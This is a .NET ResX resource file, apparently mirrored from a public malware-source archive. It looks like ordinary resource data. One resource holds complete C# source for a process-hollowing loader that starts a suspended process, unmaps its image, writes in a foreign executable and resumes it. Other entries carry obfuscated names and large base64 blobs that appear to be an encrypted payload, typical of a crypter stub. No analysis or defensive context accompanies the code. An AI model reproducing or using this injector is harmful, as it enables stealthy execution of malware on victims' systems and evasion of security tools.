mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-08 03:15:29 +00:00
220 lines
486 KiB
Plaintext
220 lines
486 KiB
Plaintext
|
<?xml version="1.0" encoding="utf-8"?>
|
||
|
|
<root>
|
||
|
|
<!--
|
||
|
|
Microsoft ResX Schema
|
||
|
|
|
||
|
|
Version 2.0
|
||
|
|
|
||
|
|
The primary goals of this format is to allow a simple XML format
|
||
|
|
that is mostly human readable. The generation and parsing of the
|
||
|
|
various data types are done through the TypeConverter classes
|
||
|
|
associated with the data types.
|
||
|
|
|
||
|
|
Example:
|
||
|
|
|
||
|
|
... ado.net/XML headers & schema ...
|
||
|
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||
|
|
<resheader name="version">2.0</resheader>
|
||
|
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||
|
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||
|
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||
|
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||
|
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||
|
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||
|
|
</data>
|
||
|
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||
|
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||
|
|
<comment>This is a comment</comment>
|
||
|
|
</data>
|
||
|
|
|
||
|
|
There are any number of "resheader" rows that contain simple
|
||
|
|
name/value pairs.
|
||
|
|
|
||
|
|
Each data row contains a name, and value. The row also contains a
|
||
|
|
type or mimetype. Type corresponds to a .NET class that support
|
||
|
|
text/value conversion through the TypeConverter architecture.
|
||
|
|
Classes that don't support this are serialized and stored with the
|
||
|
|
mimetype set.
|
||
|
|
|
||
|
|
The mimetype is used for serialized objects, and tells the
|
||
|
|
ResXResourceReader how to depersist the object. This is currently not
|
||
|
|
extensible. For a given mimetype the value must be set accordingly:
|
||
|
|
|
||
|
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||
|
|
that the ResXResourceWriter will generate, however the reader can
|
||
|
|
read any of the formats listed below.
|
||
|
|
|
||
|
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||
|
|
value : The object must be serialized with
|
||
|
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||
|
|
: and then encoded with base64 encoding.
|
||
|
|
|
||
|
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||
|
|
value : The object must be serialized with
|
||
|
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||
|
|
: and then encoded with base64 encoding.
|
||
|
|
|
||
|
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||
|
|
value : The object must be serialized into a byte array
|
||
|
|
: using a System.ComponentModel.TypeConverter
|
||
|
|
: and then encoded with base64 encoding.
|
||
|
|
-->
|
||
|
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||
|
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||
|
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||
|
|
<xsd:complexType>
|
||
|
|
<xsd:choice maxOccurs="unbounded">
|
||
|
|
<xsd:element name="metadata">
|
||
|
|
<xsd:complexType>
|
||
|
|
<xsd:sequence>
|
||
|
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||
|
|
</xsd:sequence>
|
||
|
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||
|
|
<xsd:attribute name="type" type="xsd:string" />
|
||
|
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||
|
|
<xsd:attribute ref="xml:space" />
|
||
|
|
</xsd:complexType>
|
||
|
|
</xsd:element>
|
||
|
|
<xsd:element name="assembly">
|
||
|
|
<xsd:complexType>
|
||
|
|
<xsd:attribute name="alias" type="xsd:string" />
|
||
|
|
<xsd:attribute name="name" type="xsd:string" />
|
||
|
|
</xsd:complexType>
|
||
|
|
</xsd:element>
|
||
|
|
<xsd:element name="data">
|
||
|
|
<xsd:complexType>
|
||
|
|
<xsd:sequence>
|
||
|
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||
|
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||
|
|
</xsd:sequence>
|
||
|
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||
|
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||
|
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||
|
|
<xsd:attribute ref="xml:space" />
|
||
|
|
</xsd:complexType>
|
||
|
|
</xsd:element>
|
||
|
|
<xsd:element name="resheader">
|
||
|
|
<xsd:complexType>
|
||
|
|
<xsd:sequence>
|
||
|
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||
|
|
</xsd:sequence>
|
||
|
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||
|
|
</xsd:complexType>
|
||
|
|
</xsd:element>
|
||
|
|
</xsd:choice>
|
||
|
|
</xsd:complexType>
|
||
|
|
</xsd:element>
|
||
|
|
</xsd:schema>
|
||
|
|
<resheader name="resmimetype">
|
||
|
|
<value>text/microsoft-resx</value>
|
||
|
|
</resheader>
|
||
|
|
<resheader name="version">
|
||
|
|
<value>2.0</value>
|
||
|
|
</resheader>
|
||
|
|
<resheader name="reader">
|
||
|
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||
|
|
</resheader>
|
||
|
|
<resheader name="writer">
|
||
|
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||
|
|
</resheader>
|
||
|
|
<data name="N1HXjA" xml:space="preserve">
|
||
|
|
<value>EDp2w8KºWtÆÿîøqáuðggƒMUmlreò25vVÿÿOÀÿiÄòbROBËáôQùBKRÃmÅJkshRð3XÊvMNCYo1Ð5ÀÉSÆgÖôYpwGØf1ÖƒGÊáæÀºQmðƒôObqqZPkB</value>
|
||
|
|
</data>
|
||
|
|
<data name="K4T8F6c" xml:space="preserve">
|
||
|
|
<value>...True...True...True...True...EDp2w8KºWtÆÿîøqáuðggƒMUmlreò25vVÿÿOÀÿiÄòbROBËáôQùBKRÃmÅJkshRð3XÊvMNCYo1Ð5ÀÉSÆgÖôYpwGØf1ÖƒGÊáæÀºQmðƒôObqqZPkB...</value>
|
||
|
|
</data>
|
||
|
|
<data name="nerdz" xml:space="preserve">
|
||
|
|
<value>using System.Runtime.InteropServices;
|
||
|
|
using System;
|
||
|
|
using System.Text;
|
||
|
|
public class MonAMour
|
||
|
|
{
|
||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||
|
|
[DllImport("kernel32")]
|
||
|
|
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
|
||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||
|
|
[DllImport("kernel32")]
|
||
|
|
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
|
||
|
|
[DllImport("kernel32")]
|
||
|
|
private static extern bool SetThreadContext(IntPtr t, uint[] c);
|
||
|
|
[DllImport("ntdll")]
|
||
|
|
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
|
||
|
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||
|
|
[DllImport("kernel32")]
|
||
|
|
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
|
||
|
|
[DllImport("kernel32.dll")]
|
||
|
|
private static extern uint ResumeThread(IntPtr hThread);
|
||
|
|
[DllImport("kernel32")]
|
||
|
|
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
|
||
|
|
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
|
||
|
|
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
|
||
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||
|
|
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
|
||
|
|
public static bool R(byte[] bytes, string surrogateProcess)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
IntPtr procAttr = IntPtr.Zero;
|
||
|
|
IntPtr[] processInfo = new IntPtr[4];
|
||
|
|
byte[] startupInfo = new byte[0x44];
|
||
|
|
int num2 = BitConverter.ToInt32(bytes, 60);
|
||
|
|
int num = BitConverter.ToInt16(bytes, num2 + 6);
|
||
|
|
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
|
||
|
|
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
|
||
|
|
{
|
||
|
|
uint[] ctxt = new uint[0xb3];
|
||
|
|
ctxt[0] = 0x10002;
|
||
|
|
if (GetThreadContext(processInfo[1], ctxt))
|
||
|
|
{
|
||
|
|
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
|
||
|
|
IntPtr buffer = IntPtr.Zero;
|
||
|
|
IntPtr bufferSize = new IntPtr(4);
|
||
|
|
IntPtr numRead = IntPtr.Zero;
|
||
|
|
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
|
||
|
|
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
|
||
|
|
{
|
||
|
|
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
|
||
|
|
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
|
||
|
|
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
|
||
|
|
int lpNumberOfBytesWritten;
|
||
|
|
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
|
||
|
|
int num5 = num - 1;
|
||
|
|
for (int i = 0; i <= num5; i++)
|
||
|
|
{
|
||
|
|
int[] dst = new int[10];
|
||
|
|
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
|
||
|
|
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
|
||
|
|
Buffer.BlockCopy(bytes, dst[5], buffer2, Convert.ToInt32(null,2), buffer2.Length);
|
||
|
|
//Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
|
||
|
|
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
|
||
|
|
addr = new IntPtr(buffer2.Length);
|
||
|
|
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
|
||
|
|
}
|
||
|
|
size = new IntPtr(ctxt[0x29] + 8L);
|
||
|
|
addr = new IntPtr(4);
|
||
|
|
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
|
||
|
|
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
|
||
|
|
SetThreadContext(processInfo[1], ctxt);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
ResumeThread(processInfo[1]);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
}</value>
|
||
|
|
</data>
|
||
|
|
<data name="tZAsD" xml:space="preserve">
|
||
|
|
<value>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
|
||
|
|
</data>
|
||
|
|
<data name="UntJ0" xml:space="preserve">
|
||
|
|
<value>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
|
||
|
|
</data>
|
||
|
|
<data name="WggM2" xml:space="preserve">
|
||
|
|
<value>lshss</value>
|
||
|
|
</data>
|
||
|
|
</root>
|